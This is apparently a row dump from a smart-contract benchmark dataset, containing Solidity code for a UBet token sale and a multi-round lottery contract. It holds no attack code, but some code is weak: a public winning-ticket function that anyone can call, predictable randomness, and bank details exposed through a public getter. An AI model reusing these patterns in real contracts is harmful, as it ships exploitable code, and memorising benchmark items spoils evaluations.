/// @dev List all the checks in the
function getUBetChecks() view public returns (address[]) {
return uBetCheckAccts;
}
/// @dev Return UBetCheck information by supplying beneficiary adddress
function getUBetCheck(address _address) view public returns(string, string, string, string, uint256, string, string) {
return (UBetChecks[_address].accountNumber,
UBetChecks[_address].routingNumber,
UBetChecks[_address].institution,
UBetChecks[_address].fullName,
UBetChecks[_address].amount,
UBetChecks[_address].checkFilePath,
UBetChecks[_address].digitalCheckFingerPrint);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable {
// only accept a minimum amount of ETH?
require(msg.value >= 0.00104 ether);
uint256 tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, tokens);
/// forward the funds to the money wallet
moneyWallet.transfer(this.balance);
}
/// @dev return total count of registered UBet Checks
function countUBetChecks() view public returns (uint) {
return uBetCheckAccts.length;
}
/// @dev Issue tokens for a single buyer on the sale
/// @param _beneficiary addresses that the sale tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function issueTokens(address _beneficiary, uint256 _tokens) public onlyOwner {
doIssueTokens(_beneficiary, _tokens);
}
/// @dev issue tokens for a single buyer
/// @param _beneficiary addresses that the tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
// compute without actually increasing it
uint256 increasedTotalSupply = totalSupply.add(_tokens);
// increase token total supply
totalSupply = increasedTotalSupply;
// update the beneficiary balance to number of tokens sent
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
// event is fired when tokens issued
Issue(issueIndex++,
_beneficiary,
_tokens);
}
/// @dev Compute the amount of UBET token that can be purchased.
/// @param ethAmount Amount of Ether to purchase UBET.
/// @return Amount of UBET token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {
tokens = ethAmount.mul(ratePerOneEther).div(10**18);
}
}
| 133,813 | 398 |
a5a56796d506f562db51e15ef0b7607656ff70139950da7d4741af6b16c5505d
| 17,051 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb4e2e1bad36b3944e4ed62dea477a17d3b4025c4.sol
| 4,004 | 16,248 |
pragma solidity 0.5.2;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
modifier onlyManager() {
require(listOfManagers[msg.sender], "");
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {
if (!listOfManagers[_manager]) {
require(_manager != address(0), "");
listOfManagers[_manager] = true;
success = true;
}
}
function removeManager(address _manager) public onlyOwner returns (bool success) {
if (listOfManagers[_manager]) {
listOfManagers[_manager] = false;
success = true;
}
}
function getInfo(address _manager) public view returns (bool) {
return listOfManagers[_manager];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "");
return a % b;
}
}
contract iRNG {
function update(uint roundNumber, uint additionalNonce, uint period) public payable;
}
contract iKYCWhitelist {
function isWhitelisted(address _participant) public view returns (bool);
}
contract BaseLottery is Manageable {
using SafeMath for uint;
enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND}
struct Round {
RoundState state;
uint ticketsCount;
uint participantCount;
TicketsInterval[] tickets;
address[] participants;
uint random;
uint nonce;
uint startRoundTime;
uint[] winningTickets;
address[] winners;
uint roundFunds;
mapping(address => uint) winnersFunds;
mapping(address => uint) participantFunds;
mapping(address => bool) sendGain;
}
struct TicketsInterval {
address participant;
uint firstTicket;
uint lastTicket;
}
uint constant public NUMBER_OF_WINNERS = 10;
uint constant public SHARE_DENOMINATOR = 10000;
uint constant public ORACLIZE_TIMEOUT = 86400;
uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10];
address payable public organiser;
uint constant public ORGANISER_PERCENT = 20;
uint constant public ROUND_FUND_PERCENT = 80;
iKYCWhitelist public KYCWhitelist;
uint public period;
address public mainLottery;
address public management;
address payable public rng;
mapping (uint => Round) public rounds;
uint public ticketPrice;
uint public currentRound;
event LotteryStarted(uint start);
event RoundStateChanged(uint currentRound, RoundState state);
event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds);
event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds);
event RefundIsSuccess(uint round, address participant, uint funds);
event RefundIsFailed(uint round, address participant);
event Withdraw(address participant, uint funds, uint fromRound, uint toRound);
event AddressIsNotAddedInKYC(address participant);
event TicketPriceChanged(uint price);
modifier onlyRng {
require(msg.sender == address(rng), "");
_;
}
modifier onlyLotteryContract {
require(msg.sender == address(mainLottery) || msg.sender == management, "");
_;
}
constructor (address payable _rng, uint _period) public {
require(_rng != address(0), "");
require(_period >= 60, "");
rng = _rng;
period = _period;
}
function setContracts(address payable _rng, address _mainLottery, address _management) public onlyOwner {
require(_rng != address(0), "");
require(_mainLottery != address(0), "");
require(_management != address(0), "");
rng = _rng;
mainLottery = _mainLottery;
management = _management;
}
function startLottery(uint _startPeriod) public payable onlyLotteryContract {
currentRound = 1;
uint time = getCurrentTime().add(_startPeriod).sub(period);
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod);
emit LotteryStarted(time);
}
function buyTickets(address _participant) public payable onlyLotteryContract {
uint funds = msg.value;
updateRoundTimeAndState();
addParticipant(_participant, funds.div(ticketPrice));
updateRoundFundsAndParticipants(_participant, funds);
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyLotteryContract {
updateRoundTimeAndState();
addParticipant(_participant, _ticketsCount);
updateRoundFundsAndParticipants(_participant, uint(0));
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
if (rounds[_round].winners.length != 0) {
return true;
}
if (checkRoundState(_round) == RoundState.REFUND) {
return true;
}
if (rounds[_round].participantCount < 10) {
rounds[_round].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
rounds[_round].random = _randomNumber;
findWinTickets(_round);
findWinners(_round);
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) {
currentRound = _round.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
getRandomNumber(_round + 1, rounds[_round].nonce);
return true;
}
function restartLottery() public payable onlyOwner {
_restartLottery();
}
function getRandomNumber(uint _round, uint _nonce) public payable onlyRng {
iRNG(rng).update(_round, _nonce, period);
}
function setTicketPrice(uint _ticketPrice) public onlyLotteryContract {
require(_ticketPrice > 0, "");
emit TicketPriceChanged(_ticketPrice);
ticketPrice = _ticketPrice;
}
function findWinTickets(uint _round) public {
uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount);
for (uint i = 0; i < 10; i++) {
rounds[_round].winningTickets.push(winners[i]);
}
}
function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) {
uint random = _random;
uint winnersNum = 10;
uint[10] memory winTickets;
uint shift = uint(256).div(winnersNum);
for (uint i = 0; i < 10; i++) {
winTickets[i] =
uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum);
}
return winTickets;
}
function refund(uint _round) public {
if (checkRoundState(_round) == RoundState.REFUND
&& rounds[_round].participantFunds[msg.sender] > 0) {
uint amount = rounds[_round].participantFunds[msg.sender];
rounds[_round].participantFunds[msg.sender] = 0;
address(msg.sender).transfer(amount);
emit RefundIsSuccess(_round, msg.sender, amount);
} else {
emit RefundIsFailed(_round, msg.sender);
}
}
function checkRoundState(uint _round) public returns (RoundState) {
if (rounds[_round].state == RoundState.WAIT_RESULT
&& getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) {
rounds[_round].state = RoundState.REFUND;
emit RoundStateChanged(_round, rounds[_round].state);
}
return rounds[_round].state;
}
function setOrganiser(address payable _organiser) public onlyOwner {
require(_organiser != address(0), "");
organiser = _organiser;
}
function setKYCWhitelist(address _KYCWhitelist) public onlyOwner {
require(_KYCWhitelist != address(0), "");
KYCWhitelist = iKYCWhitelist(_KYCWhitelist);
}
function getGain(uint _fromRound, uint _toRound) public {
_transferGain(msg.sender, _fromRound, _toRound);
}
function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager {
_transferGain(_participant, _fromRound, _toRound);
}
function getTicketsCount(uint _round) public view returns (uint) {
return rounds[_round].ticketsCount;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
function getCurrentTime() public view returns (uint) {
return now;
}
function getPeriod() public view returns (uint) {
return period;
}
function getRoundWinners(uint _round) public view returns (address[] memory) {
return rounds[_round].winners;
}
function getRoundWinningTickets(uint _round) public view returns (uint[] memory) {
return rounds[_round].winningTickets;
}
function getRoundParticipants(uint _round) public view returns (address[] memory) {
return rounds[_round].participants;
}
function getWinningFunds(uint _round, address _winner) public view returns (uint) {
return rounds[_round].winnersFunds[_winner];
}
function getRoundFunds(uint _round) public view returns (uint) {
return rounds[_round].roundFunds;
}
function getParticipantFunds(uint _round, address _participant) public view returns (uint) {
return rounds[_round].participantFunds[_participant];
}
function getCurrentRound() public view returns (uint) {
return currentRound;
}
function getRoundStartTime(uint _round) public view returns (uint) {
return rounds[_round].startRoundTime;
}
function _restartLottery() internal {
uint _now = getCurrentTime().sub(rounds[1].startRoundTime);
rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period));
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period)));
}
function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal {
require(_fromRound <= _toRound, "");
require(_participant != address(0), "");
if (KYCWhitelist.isWhitelisted(_participant)) {
uint funds;
for (uint i = _fromRound; i <= _toRound; i++) {
if (rounds[i].state == RoundState.SUCCESS
&& rounds[i].sendGain[_participant] == false) {
rounds[i].sendGain[_participant] = true;
funds = funds.add(getWinningFunds(i, _participant));
}
}
require(funds > 0, "");
_participant.transfer(funds);
emit Withdraw(_participant, funds, _fromRound, _toRound);
} else {
emit AddressIsNotAddedInKYC(_participant);
}
}
function getWinner(uint _round,
uint _beginInterval,
uint _endInterval,
uint _winningTicket)
internal
returns (address)
{
if (_beginInterval == _endInterval) {
return rounds[_round].tickets[_beginInterval].participant;
}
uint len = _endInterval.add(1).sub(_beginInterval);
uint mid = _beginInterval.add((len.div(2))).sub(1);
TicketsInterval memory interval = rounds[_round].tickets[mid];
if (_winningTicket < interval.firstTicket) {
return getWinner(_round, _beginInterval, mid, _winningTicket);
} else if (_winningTicket > interval.lastTicket) {
return getWinner(_round, mid.add(1), _endInterval, _winningTicket);
} else {
return interval.participant;
}
}
function addParticipant(address _participant, uint _ticketsCount) internal {
rounds[currentRound].participants.push(_participant);
uint currTicketsCount = rounds[currentRound].ticketsCount;
rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount);
rounds[currentRound].tickets.push(TicketsInterval(_participant,
currTicketsCount,
rounds[currentRound].ticketsCount.sub(1)));
rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant)));
emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice));
}
function updateRoundTimeAndState() internal {
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period)
&& rounds[currentRound].participantCount >= 10) {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
}
function updateRoundFundsAndParticipants(address _participant, uint _funds) internal {
if (rounds[currentRound].participantFunds[_participant] == 0) {
rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1);
}
rounds[currentRound].participantFunds[_participant] =
rounds[currentRound].participantFunds[_participant].add(_funds);
rounds[currentRound].roundFunds =
rounds[currentRound].roundFunds.add(_funds);
}
function findWinners(uint _round) internal {
address winner;
uint fundsToWinner;
for (uint i = 0; i < NUMBER_OF_WINNERS; i++) {
winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[i]);
rounds[_round].winners.push(winner);
fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR);
rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner);
}
}
}
contract MonthlyLottery is BaseLottery {
constructor(address payable _rng,
uint _period)
public
BaseLottery(_rng, _period)
{
}
}
| 167,123 | 399 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.